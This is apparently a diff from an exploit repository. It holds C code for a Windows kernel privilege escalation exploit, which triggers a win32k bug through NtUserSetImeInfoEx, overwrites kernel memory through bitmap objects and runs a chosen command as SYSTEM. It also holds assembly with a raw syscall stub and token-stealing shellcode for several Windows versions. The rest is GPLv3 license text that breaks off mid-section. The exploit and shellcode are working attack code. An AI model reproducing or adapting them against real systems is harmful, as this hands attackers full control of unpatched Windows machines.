// Initialize exploit parameters
|
||||
|
||||
PVOID *p = (PVOID *)&ime;
|
||||
p[0] = (PVOID)wpv;
|
||||
p[1] = (PVOID)wpv;
|
||||
DWORD *pp = (DWORD *)&p[2];
|
||||
pp[0] = 0x180;
|
||||
pp[1] = 0xabcd;
|
||||
pp[2] = 6;
|
||||
pp[3] = 0x10000;
|
||||
#ifndef _WIN64
|
||||
pp[5] = 0x4800200;
|
||||
#else
|
||||
pp[6] = 0x4800200;
|
||||
#endif // _WIN32
|
||||
// trigger vuln
|
||||
// bp win32k!SetImeInfoEx
|
||||
// bp win32k!NtUserSetImeInfoEx
|
||||
// modify the pvscan0 of manager!
|
||||
|
||||
puts("[+] Triggering vulnerability...");
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
NtUserSetImeInfoEx((PVOID)&ime);
|
||||
|
||||
PVOID oaddr = ((char*)overwrite_address + overwrite_offset);
|
||||
#ifndef _WIN64
|
||||
sc = &shellcode;
|
||||
printf("[+] Overwriting...%lx\n", oaddr);
|
||||
#else
|
||||
printf("[+] Overwriting...%llx\n", oaddr);
|
||||
#endif // _WIN32
|
||||
fflush(stdout);
|
||||
|
||||
PVOID pOrg = 0;
|
||||
|
||||
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
|
||||
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
|
||||
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);
|
||||
|
||||
|
||||
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");
|
||||
|
||||
if (!NtQueryIntervalProfile) {
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
|
||||
ExitProcess(2);
|
||||
}
|
||||
puts("[+] Elevating privilege...");
|
||||
NtQueryIntervalProfile(0x1337, &Interval);
|
||||
puts("[+] Cleaning up...");
|
||||
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
HANDLE hRead, hWrite;
|
||||
byte buf[40960] = { 0 };
|
||||
STARTUPINFOW si;
|
||||
PROCESS_INFORMATION pi;
|
||||
DWORD bytesRead;
|
||||
RtlSecureZeroMemory(&si, sizeof(si));
|
||||
RtlSecureZeroMemory(&pi, sizeof(pi));
|
||||
RtlSecureZeroMemory(&sa, sizeof(sa));
|
||||
int br = 0;
|
||||
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE;
|
||||
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
|
||||
{
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
ExitProcess(5);
|
||||
}
|
||||
wprintf(L"[+] Trying to execute %s as SYSTEM...\n", argv[1]);
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
GetStartupInfoW(&si);
|
||||
si.hStdError = hWrite;
|
||||
si.hStdOutput = hWrite;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.lpDesktop = L"WinSta0\\Default";
|
||||
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
|
||||
wchar_t cmd[4096] = { 0 };
|
||||
lstrcpyW(cmd, argv[1]);
|
||||
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
|
||||
{
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
CloseHandle(hWrite);
|
||||
CloseHandle(hRead);
|
||||
wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
|
||||
ExitProcess(6);
|
||||
}
|
||||
CloseHandle(hWrite);
|
||||
printf("[+] Process created with pid %d!\n", pi.dwProcessId);
|
||||
while (1)
|
||||
{
|
||||
if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
|
||||
break;
|
||||
br += bytesRead;
|
||||
}
|
||||
// HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
// WriteConsoleA(h, buf, br, &bytesRead, 0);
|
||||
puts((char*)buf);
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
CloseHandle(hRead);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
|
@ -0,0 +1,70 @@
|
|||
|
||||
public shellcode08
|
||||
public shellcode7
|
||||
public shellcode03
|
||||
public NtUserSetImeInfoEx
|
||||
_TEXT SEGMENT
|
||||
NtUserSetImeInfoEx PROC
|
||||
mov r10,rcx;
|
||||
mov eax,4871;
|
||||
syscall;
|
||||
ret;
|
||||
NtUserSetImeInfoEx ENDP
|
||||
|
||||
shellcode08 PROC
|
||||
mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread
|
||||
mov rax, [rax + 104];// Get nt!_KTHREAD.ApcState.Process
|
||||
mov rcx, rax;// Copy current _EPROCESS structure
|
||||
mov rdx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
|
||||
mov rdi, 232;
|
||||
SearchSystemPID:
|
||||
mov rax, [rax + rdi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
||||
sub rax, rdi;
|
||||
cmp [rax + 224], rdx;// Get nt!_EPROCESS.UniqueProcessId
|
||||
jne SearchSystemPID
|
||||
|
||||
mov rdx, [rax + 360];// Get SYSTEM process nt!_EPROCESS.Token
|
||||
mov [rcx + 360], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
|
||||
xor rax, rax;// Set NTSTATUS SUCCEESS
|
||||
ret;
|
||||
shellcode08 ENDP
|
||||
|
||||
shellcode7 PROC
|
||||
mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread
|
||||
mov rax, [rax + 112];// Get nt!_KTHREAD.ApcState.Process
|
||||
mov rcx, rax;// Copy current _EPROCESS structure
|
||||
mov rdx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
|
||||
mov rdi, 392;
|
||||
SearchSystemPID:
|
||||
mov rax, [rax + rdi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
||||
sub rax, rdi;
|
||||
cmp [rax + 384], rdx;// Get nt!_EPROCESS.UniqueProcessId
|
||||
jne SearchSystemPID
|
||||
|
||||
mov rdx, [rax + 520];// Get SYSTEM process nt!_EPROCESS.Token
|
||||
mov [rcx + 520], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
|
||||
xor rax, rax;// Set NTSTATUS SUCCEESS
|
||||
ret;
|
||||
shellcode7 ENDP
|
||||
|
||||
shellcode03 PROC
|
||||
mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread
|
||||
mov rax, [rax + 104];// Get nt!_KTHREAD.ApcState.Process
|
||||
mov rcx, rax;// Copy current _EPROCESS structure
|
||||
mov rdx, 4;// SYSTEM Process PID = 0x4
|
||||
mov rdi, 224;// Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
||||
SearchSystemPID:
|
||||
mov rax, [rax + rdi];
|
||||
sub rax, rdi;
|
||||
cmp [rax + 216], rdx;// Get nt!_EPROCESS.UniqueProcessId
|
||||
jne SearchSystemPID
|
||||
|
||||
mov rdx, [rax + 352];// Get SYSTEM process nt!_EPROCESS.Token
|
||||
mov [rcx + 352], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
|
||||
xor rax, rax;// Set NTSTATUS SUCCEESS
|
||||
ret;
|
||||
shellcode03 ENDP
|
||||
|
||||
_TEXT ENDS
|
||||
|
||||
END
|
|
@ -0,0 +1,674 @@
|
|||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
